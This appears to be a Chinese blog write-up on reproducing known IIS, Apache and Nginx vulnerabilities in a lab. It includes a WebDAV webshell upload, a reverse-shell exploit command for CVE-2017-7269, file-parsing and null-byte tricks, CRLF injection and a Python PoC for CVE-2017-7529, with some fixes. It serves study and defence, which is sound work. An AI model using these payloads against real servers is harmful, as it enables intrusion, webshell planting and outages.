常见web中间件漏洞复现总结

文章目录

  • IIS
    • PUT漏洞
    • iis6.0 解析漏洞
    • IIS短文件漏洞
    • 远程代码执行(RCE-CVE-2017-7269)
    • iis7.x文件解析漏洞
    • HTTP.SYS远程代码执行 (MS15-034)
  • apache
    • 未知扩展名解析漏洞
    • AddHandler解析漏洞
    • 目录遍历漏洞
    • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
  • Nginx
    • 文件解析漏洞
    • 目录遍历漏洞
    • 空字节代码执行漏洞
    • 整数溢出漏洞(CVE-2017-7529)
    • CRLF 注入漏洞
    • 文件名逻辑漏洞(CVE-2013-4547)
  • 扩展

IIS

简介

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于Windows系统,不适用于其他操作系统。

PUT漏洞

利用条件

开启WebDAV和网页拥有写权限

版本:IIS 6.0

OPTIONS

OPTIONS它用于获取当前URL所支持的方法。

若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET, POST”。

DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 25

<%eval request("cmd")%>

MOVE /test.txt HTTP/1.1
Host:upload.moonteam.com
Destination:http://upload.moonteam.com/shell.asp

//或者
MOVE /test.txt HTTP/1.1
Host:upload.moonteam.com
Destination: /coleak.asp

修复

1.关闭webdav

2.关闭写入权限

iis6.0 解析漏洞

利用条件

该版本默认将*.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相

当于截断。

iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp

默认将 *.asp/ 目录下的所有文件当成Asp解析

常见web中间件漏洞复现总结_第1张图片

coleak.asp;1.jpg

/c.asp/1.jpg

IIS短文件漏洞

利用条件

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。 IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名

http://upload.moonteam.com/*~1*/a.aspx
http://upload.moonteam.com/upload*~1*/a.aspx
http://upload.moonteam.com/upload*~1.*/a.aspx
http://upload.moonteam.com/upload*~1.php/a.aspx

脚本

python iis.py http://upload.moonteam.com/

漏洞的局限性

  1. 只能猜解前六位,以及扩展名的前3位。

  2. 名称较短的文件是没有相应的短文件名的。

  3. 需要IIS和.net两个条件都满足

  4. 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;

5 ) 如果文件夹名前6位字符带点".",扫描程序会认为是文件而不是文件夹,最终出现误报;

  1. 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测.

远程代码执行(RCE-CVE-2017-7269)

利用条件

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

iis6-exploit-2017-CVE-2017-7269脚本

反弹shell
python2 iis6 192.168.10.144 80 192.168.10.128 6666

iis7.x文件解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件

HTTP.SYS远程代码执行 (MS15-034)

利用条件

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和

Windows server 2012 R2

IIS7.5、IIS8.0、IIS8.5

编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞

MS15-034-IIS-Active-DoS-Exploit-PoC脚本可以直接让服务器蓝屏

apache

简介

Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。

未知扩展名解析漏洞

漏洞原理

未知扩展名解析漏洞依赖于apache解析的一个特性:apache读取文件判断文件类型时会读取最后一个后缀,如果该后缀无法识别(不在mime.types文件内),则会继续向左读取文件后缀,直到识别到合法的后缀后再进行解析。

修改配置文件

cd /etc/apache2/mods-enabled

sudo vim php8.1.conf

访问aa.php.bak成功解析为php脚本

AddHandler解析漏洞

在apache2.conf里面添加一句

AddHandler application/x-httpd-php .php

利用条件

在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

然后访问/cc.php.aaaaapp自动解析为php脚本

目录遍历漏洞

原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存

在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

比如访问http://192.168.10.128/test/时可以遍历目录(test下面没有index文件)

修复漏洞

在httpd.conf文件中

找到Options + Indexes + FollowSymLinks + ExecCGI并修改成Options -Indexes + FollowSymLinks + ExecCGI并保存(把+修改为-)


Options-Indexes+FollowSymLinks+ExecCGI AllowOverrideAll
Orderallow,deny
Allowfromall
Requireallgranted


kali中写入或者删除Indexes
Options Indexes FollowSymLinks

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

利用条件

apache :2.4.0~2.4.29版本

原理

此漏洞形成的根本原因,在于$。正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r

服务器源码


if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
echo $_FILES['file']['tmp_name'].'upload successfully';
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
//这里获取文件名是需要单独post一个name的,因为如果通过 $_FILES['file']['name'] 获
//取文件名的话,会把\x0a自动去除,所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成
//这个漏洞

自建一个html文件

<html>
<body>
<form action="http://192.168.10.139/coleak.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value="上传文件" />
form>
body>
html>

n a m e = b a s e n a m e ( name = basename( name=basename(_POST[‘name’]);

在name后加一个点变成a.php.

然后进入hex,将.(2e)改为0a,(0x0a是换行符)

上传后可以访问/a.php%0A解析为php

Nginx

简介

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞

利用条件

由于Nginx中php配置不当而造成的,与Nginx版本无关。但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。

对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。 例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。

php.ini配置修改如下

cgi.fix_pathinfo=1

原理

php的一个选项:cgi.fix_pathinfo,该选项默认开启,值为1,用于修理路径, 例如:当php遇到文件路径"/info.jpg/xxx.php/lxh.sec"时,若"/info.jpg/xxx.php/lxh.sec"不存在,则会去掉最后的"/lxh.sec",然后判断"/info.jpg/xxx.php"是否存 在, 若存在则将/info.jpg/xxx.php当作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,则继续去掉xxx.php,依此类推。

123.jpg


phpinfo();
?>

访问/123.jpg/a.php,成功触发phpinfo

目录遍历漏洞

利用条件

autoindex on 开启目录浏览

autoindex off关闭目录浏览 默认是关闭状态

修改nginx.conf

autoindex on

访问https://192.168.10.145/admin
遍历目录

空字节代码执行漏洞

简介

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非

php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。

利用版本

nginx 0.5.*

nginx 0.6.*

nginx 0.7 <= 0.7.65

nginx 0.8 <= 0.8.37

访问info.jpg,并抓包,修改为info.jpg..php,在Hex选修卡中将jpg后面的.,将2e更改为00

整数溢出漏洞(CVE-2017-7529)

利用条件

0.5.6 - 1.13.2版本内默认配置模块的Nginx

只需要开启缓存,攻击者即可发送恶意请求进行远程攻击造成信息泄露。

poc

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

python3 poc.py http://your-ip:8080/

CRLF 注入漏洞

简介

Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF

注入漏洞。

利用

攻击者打开一个网站,然后服务器会回复他一个session id。比如SID=abcdefg。Attack把这个id记下了
Attack给被攻击者发送一个电子邮件,他假装抽奖或者推销,诱导攻击者点击链接输入自己的账号和口令
因为服务器的session id不改变,现在被攻击者点击后,他就拥有了被攻击者的身份,就可以为所欲为了

修改配置文件

location / {
return 302 https://$host$uri;
}

访问/%0ASet-cookie:JSPSESSID%3D3

此时看返回的内容,服务器会set-cookie

文件名逻辑漏洞(CVE-2013-4547)

影响版本

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

漏洞复现

创建1.jpg 文件并上传,抓包,在该文件最后添加一个空
访问URL:ip/1.jpg...php
在burp的hex页面中将第一个点.改成20,第二个改为004

扩展

FastCGI的重要特点

  • 1、FastCGI是HTTP服务器和动态脚本语言间通信的接口或者工具。
  • 2、FastCGI优点是把动态语言解析和HTTP服务器分离开来。
  • 3、Nginx、Apache、Lighttpd以及多数动态语言都支持FastCGI。
  • 4、FastCGI接口方式采用C/S架构,分为客户端(HTTP服务器)和服务端(动态语言解析服务器)。
  • 5、PHP动态语言服务端可以启动多个FastCGI的守护进程。
  • 6、HTTP服务器通过FastCGI客户端和动态语言FastCGI服务端通信。

常见web中间件漏洞复现总结_第2张图片

你可能感兴趣的:(#,web安全,前端,中间件,php,网络安全,web安全)